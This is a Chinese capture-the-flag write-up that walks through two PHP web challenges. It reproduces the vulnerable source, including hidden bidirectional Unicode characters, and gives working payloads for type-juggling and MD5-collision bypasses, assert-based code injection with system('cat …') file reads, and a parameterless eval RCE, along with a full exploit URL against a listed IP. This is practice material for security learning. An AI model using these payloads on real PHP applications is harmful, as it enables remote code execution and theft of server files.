CTF-php基础题

发布于 2022-11-23  0 次阅读


题目1:

<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
include "k1y.php";
include "fl4g.php";
$week_1 = false;
$week_2 = false;
$week_3 = false;
$week_4 = false;
$week_5 = false;

$getUserID = @$_GET['user']; 
$getpass = (int)@$_GET['pass']; 
$getmySaid = @$_GET['mySaid']; 
$getmyHeart = @$_GET['myHeart']; 
$a = @$_GET['a']; 
$b = @$_GET['b']; 

$data = @$_POST['data'];
$verify =@$_POST['verify'];
$want = @$_POST['want'];
$final = @$_POST['final'];

if( isset($a)  &&  isset($b))
{
    $a=(string)$a;
    $b=(string)$b;
if(  ($a!==$b) && (md5($a)===md5($b)) )
{
    $week_3 = true;
}
}


if (isset($_GET['c'])){
    if ($_GET['c'] == 114514 ){
            assert("intval($_GET[c])==1919810") or die("一言既出,驷马难追!");
            $week_5 = true;
    } 
} 

if (isset($_GET['d'])){
    $arr[$_GET['d']]=1;
    if ($arr[]=1){
        die("nonono!");
    }
    else{
        $week_4 = true ;
    }
}

if(is_string($getUserID))
    $user = $user + $getUserID; //u5er_D0_n0t_b3g1n_with_4_numb3r

if($user == 114514 && $getpass == $pass){
    if (!ctype_alpha($getmySaid)) 
        die();
    if (!is_numeric($getmyHeart)) 
        die();
    if(md5($getmySaid) != md5($getmyHeart)){
        die("Cheater!");
    }
    else
        $week_1 = true;
}

if(is_array($data)){
    for($i=0;$i<count($data);$i++){

        if($data[$i]==="Probius") exit();

        $data[$i]=intval($data[$i]);
    }
    if(array_search("Probius",$data)===0)
        $week_2 = true;

    else
        die("HACK!");
}
if($week_1 && $week_2  && $week_3  && $week_4 && $week_5){
    if(md5($data)===md5($verify))
        // ‮⁦HNCTF⁩⁦Welcome to
        if ("hn" == $_GET['hn'] &‮⁦+!!⁩⁦& "‮⁦ Flag!⁩⁦ctf" == $_GET[‮⁦LAG⁩⁦ctf]) { //HN! flag!! F

            if(preg_match("/php|\fl4g|\\$|'|\"/i",$want)Or is_file($want))
                die("HACK!");

                else{
                    echo "Fine!you win";
                    echo "\n";
                    system("cat /".$want);
                 }
    }
    else
        die("HACK!");
}

?>

week1

从week1开始:

$getUserID = @$_GET['user']; 
$getpass = (int)@$_GET['pass']; 
$getmySaid = @$_GET['mySaid']; 
$getmyHeart = @$_GET['myHeart']; 

if(is_string($getUserID))
    $user = $user + $getUserID; //u5er_D0_n0t_b3g1n_with_4_numb3r

if($user == 114514 && $getpass == $pass){
    if (!ctype_alpha($getmySaid)) 
        die();
    if (!is_numeric($getmyHeart)) 
        die();
    if(md5($getmySaid) != md5($getmyHeart)){
        die("Cheater!");
    }
    else
        $week_1 = true;
}

在前面我们分别传入了usergetuserID。后续的判断中需要我们让$user == 114514,但前面对user进行了拼接,拼接的还是字符串。这里就要用到hint了:user do not begin with 4 number

非数字开头字符串+数字字符串 = 数字字符串

<?php
echo "9a"+'10';  // 19
echo "a9"+"11";  // 11 题目中属于这个情况 也就是最终的 $user = $getUserID;
echo "9a"+'a8';  // 9
echo "a4"+'a8';  // 0
//https://www.bbsmax.com/A/lk5aZAEqd1/

要求getmySaid是字母 getmyHeart是数字

由于这里是弱比较, 若md5 后为0e开头就可以绕过

mySaid=TUFEPMC myHeart=1586264293

payload:user=114514&pass=d&mySaid=TUFEPMC&myHeart=1586264293

week2:

$data = @$_POST['data'];

if(is_array($data)){
    for($i=0;$i<count($data);$i++){

        if($data[$i]==="Probius") exit();

        $data[$i]=intval($data[$i]);
    }
    if(array_search("Probius",$data)===0)
        $week_2 = true;

    else
        die("HACK!");

参考资料:CTF中常见的 PHP 弱类型漏洞总结 - 寂寞圣贤 - 博客园 (cnblogs.com)

这道题是利用array_search()函数的漏洞。

首先简要介绍下array_search()函数:

array_search() 函数在数组中搜索某个键值,并返回对应的键名。

语法:array_search(value,array,strict)

参数描述
value必需。规定在数组中搜索的键值。
array必需。规定被搜索的数组。
strict可选。如果该参数被设置为 TRUE,则函数在数组中搜索数据类型和值都一致的元素。可能的值:true、false - 默认如果设置为 true,则在数组中检查给定值的类型,数字 5 和字符串 5 是不同的。

如果strict参数没有提供或者是false(true会进行严格的过滤),那么array_search()就相当于进行了弱比较(==)。如字符串会被转换成数字,"admin"=0成立。

payload:data[]=0

week3:

$a = @$_GET['a']; 
$b = @$_GET['b']; 

if( isset($a)  &&  isset($b))
{
    $a=(string)$a;
    $b=(string)$b;
if(  ($a!==$b) && (md5($a)===md5($b)) )
{
    $week_3 = true;
}
}

这就很简单了,强比较md5的话就是碰撞,找两串一样的来就行

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&

b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

week4:

if (isset($_GET['d'])){
    $arr[$_GET['d']]=1;
    if ($arr[]=1){
        die("nonono!");
    }
    else{
        $week_4 = true ;
    }
}

参考资料:PHP使用数组整型溢出绕过赋值式“永真”判断以进入else子句_Sn_u的博客-CSDN博客

首先是$arr[$_GET['d']]=1;,会向数组中追加一个1。

这里利用数组整型溢出绕过赋值式“永真”判断
原理:

索引数组最大下标等于最大int数,对其追加会导致整型数溢出,进而引起追加失败

32位最大是2147483647,64位是9223372036854775807

payload:d=9223372036854775807

week5:

if (isset($_GET['c'])){
    if ($_GET['c'] == 114514 ){
            assert("intval($_GET[c])==1919810") or die("一言既出,驷马难追!");
            $week_5 = true;
    } 
} 

assert与eval相同,都可以执行php代码。闭合后面的括号再注释后面的内容就可以了。

?c=114514);//

非预期:这题的本意是令五个week=true并通过最后一个才能拿到flag,这里可以直接通过system()函数拿到flag

c=114514)==1%20or%20system(%27cat%20/f14g.php%27);%23

payload:c=114514);//

Final:

if($week_1 && $week_2  && $week_3  && $week_4 && $week_5){
    if(md5($data)===md5($verify))
        // ‮⁦HNCTF⁩⁦Welcome to
        if ("hn" == $_GET['hn'] &‮⁦+!!⁩⁦& "‮⁦ Flag!⁩⁦ctf" == $_GET[‮⁦LAG⁩⁦ctf]) { //HN! flag!! F

            if(preg_match("/php|\fl4g|\\$|'|\"/i",$want)Or is_file($want))
                die("HACK!");

                else{
                    echo "Fine!you win";
                    echo "\n";
                    system("cat /".$want);
                 }
    }
    else
        die("HACK!");
}

?>

首先是确保前面五个week均为true,对dataverify的md5进行强比较,数组即可

data[]=0&verify[]=3

后面的hn与ctf存在不可打印字符,vscode中可见,url编码后传入

hn=hn&%E2%80%AE%E2%81%A6LAG%E2%81%A9%E2%81%A6ctf=%E2%80%AE%E2%81%A6 Flag!%E2%81%A9%E2%81%A6ctf

最后的过滤可以通过Linux的通配符绕过

参考资料:Linux-通配符_明码的博客-CSDN博客_linux 通配符

  1. 星号(*):可以使用星号代替零个、单个或多个字符
  2. 问号:可以匹配任意一个字符
  3. 中括号[]:匹配中括号任意一个字符,如[ljk]代表匹配一个l,j或k的字符
  4. [-]:匹配范围,[0-9]代表匹配任一个数字
  5. [*]:匹配不是中括号的一个字符

最终的payload:

http://82.157.250.227:27017?a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&c=114514);%23&d=9223372036854775807&user=114514&pass=d&mySaid=TUFEPMC&myHeart=1586264293&hn=hn&%E2%80%AE%E2%81%A6LAG%E2%81%A9%E2%81%A6ctf=%E2%80%AE%E2%81%A6 Flag!%E2%81%A9%E2%81%A6ctf

POST:data[]=0&verify[]=3&want=f*

或者:http://82.157.250.227:27017/?c=114514)==1%20or%20system(%27cat%20/f14g.php%27);%23(非预期)

题目2:

<?php
highlight_file(__FILE__);
if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);}
else
    die('nonono');}
else
    echo('please input code');
?>

无参RCE

payload:guxi=system(%22cat%20flag.php%22);&code=eval(pos(pos(get_defined_vars())));


若金色的阳光停止了它耀眼的光芒,你的一个微笑,将照亮我的整个世界